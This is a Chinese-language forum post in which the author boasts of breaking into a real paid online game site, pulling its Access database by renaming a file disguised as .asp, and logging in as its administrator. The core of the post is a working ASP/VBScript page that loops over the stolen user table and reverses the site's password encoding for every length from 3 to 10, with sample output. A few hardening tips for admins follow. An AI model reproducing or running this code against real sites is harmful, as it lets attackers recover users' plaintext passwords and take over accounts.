返回列表 发帖

黑客常见攻击介绍(一)

前几天攻破了一台江湖主机.破解了它的用户,这可是一个有几千个用户有付费会员的大江湖啊,连管理员也不例外.好爽啊,可惜我不玩江湖,要不然.....呵呵 攻破中遇到了两个问题,我把解决的思路和办法写了下來.这两个问题是一般攻破asp程序都有可能碰到的,希望对大家有好处. 首先攻破江湖的主机,想办法找到江湖所在的目录.(你不要问我怎么攻破的,方法很多了.我这篇文章不讲这个.)这时候就遇到了第一个问题. 第一个问题其实很简单罗.我们一般攻破了江湖或者论坛这样的asp程序,数据库是我们的首要目标.因此现在的程序想尽办法不让别人得到数据库.这个江湖就是这样,它把数据库改成了.asp结尾的文件,混在一堆asp程序中,很难发现.但没关系,我们只要打开它的连接数据库的asp文件(现在一般都是conn.asp),什么信息都一览无遗了.如果找不到这个asp文件.就随便打开几个asp看看,它开头一般都会有加入连接数据库文件的语句,如"",这个xxx.asp就是数据库连接文件了. 得到了数据库文件名,马上打开ie下载.呵呵.可是发现ie卡在那里不动了.原来iis发现扩展名是asp,就用asp.dll來解释,可它又不是asp,当然不行了.所以这个文件扩展名的好处就再这里.我以前还看过一个论坛把数据库改成.asa放到很深的目录里的.唉,再回去随便改个名,如xxxx.mdb就可以了 所以对于管理员,我就提几个建议. 1.把数据库改名,最好扩展名是.asp或.asa,.htm也行.然后再数据库连接asp文件里改一下就行了. 2.把数据库连接文件名改了.别用conn.asp.但其他所有的asp的连接都要改到新的文件名. 3.随便建一个假的数据库,在做一个假的conn.asp指向假的数据库.最好还做点加密的事情,让黒客走点弯路,浪费一些时间.呵呵.当然,这只是治标不治本的办法,最终解决办法还是要管好主机和帐户. 数据库下下來之后,我很兴奋的打开它,哇,几千个用户啊.拿几个试试. 嗯?不对,怎么所有的用户密码都是10位的形如j`uc{zjrf~这种乱七八糟的字符,不会所有用户都这么注意网络安全吧.肯定加了密.赶快看看原代码.终于在一个asp里看到了加密算法.这时就遇到了第二个问题. 加密算法源代码和解释如下: temppass=StrReverse(left(password&"xzcvbmn,./",10)) '密码在password中,不足10位的补足十位 templen=len(password) '获得密码长度. mmpassword="" for j=1 to 10 mmpassword=mmpassword+chr(asc(mid(temppass,j,1))-templen+int(j*1.1)) '加密核心 next password=replace(mmpassword,"'","B") '在转化一下. 看到了算法,就好解决多了.下面就是我用asp写的一个asp页面,能够读取数据库并且解密显示出来的. 注意,因为解密算法必须要原始密码的长度,但一般是不知道的.所以我就将密码从3到10位全部解密一次,再从中选.怎么选,后面再说. <%@ LANGUAGE=VBScript%> <% connstr="DBQ="+server.mappath("xxxx.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};" 'xxxx.mdb就是下载下来的数据库了. set conn=server.createobject("ADODB.CONNECTION") conn.open connstr set rs=server.createobject("adodb.recordset") %> <% for id1 = 1 to 4000 '做个循环,用id号检索获得帐户,这个4000根据你数据库id的最大限度而定.但也不要太大,iis吃不消,像这里我就只到4000,没到最大.(最大一万多 ) sql="SELECT 姓名,密码,信箱 FROM user WHERE ID="&id1&"" rs.open sql,conn,1,1 if NOT(rs.Eof and rs.Bof) then pass=rs("密码") name=rs("姓名") mail=rs("信箱") '这里根据你数据库的不同填上不同的字段名和表名. end if rs.close if name<>oldname then%> '这是去除重复项的. <%for j=3 to 10 '这就是密码长度设置,你可以设到2到10什么的. '解密过程 templen = pass oldpass = "" Int0 = 0 For i = 1 To 10 Str1 = Left(templen, 1) templen = Right(templen, Len(templen) - 1) Int1 = Asc(Str1) If i = 10 Then Int0 = 11 Else Int0 = i End If Int1 = Int1 + j - Int0 oldpass = oldpass & Chr(Int1) Next password = Left(StrReverse(oldpass), j) %> '密码用|隔开 <%Next oldname=name end if%> <%Next%>
<%=id1%> <%=name%> <%=mail%><%=password%>|
打开iis,用ie在本地试一试,就会看到很多用户了. 这是一个用户密码例子 ./0| /01/| 01201| 123123| 234234y| 345345z|| 456456{}f| 567567|~gz| 很明显,这个用户的密码就是123123,其他的也差不多很明显.最多就试两、三次就出来了. 到此,工作结束了,去江湖试一试,哇,我可以用管理员登陆了.爽. 到这时候,就觉得再去破坏也没意思了.没干什么就走了. 对于管理员,我又要建议在程序里加上这个加密代码,加总比不加好吧!

黑客常见攻击介绍(一)

你还没有说怎么下载的那个数据库啊!!!!

asp的数据库!!!!!

TOP

返回列表 回复 发帖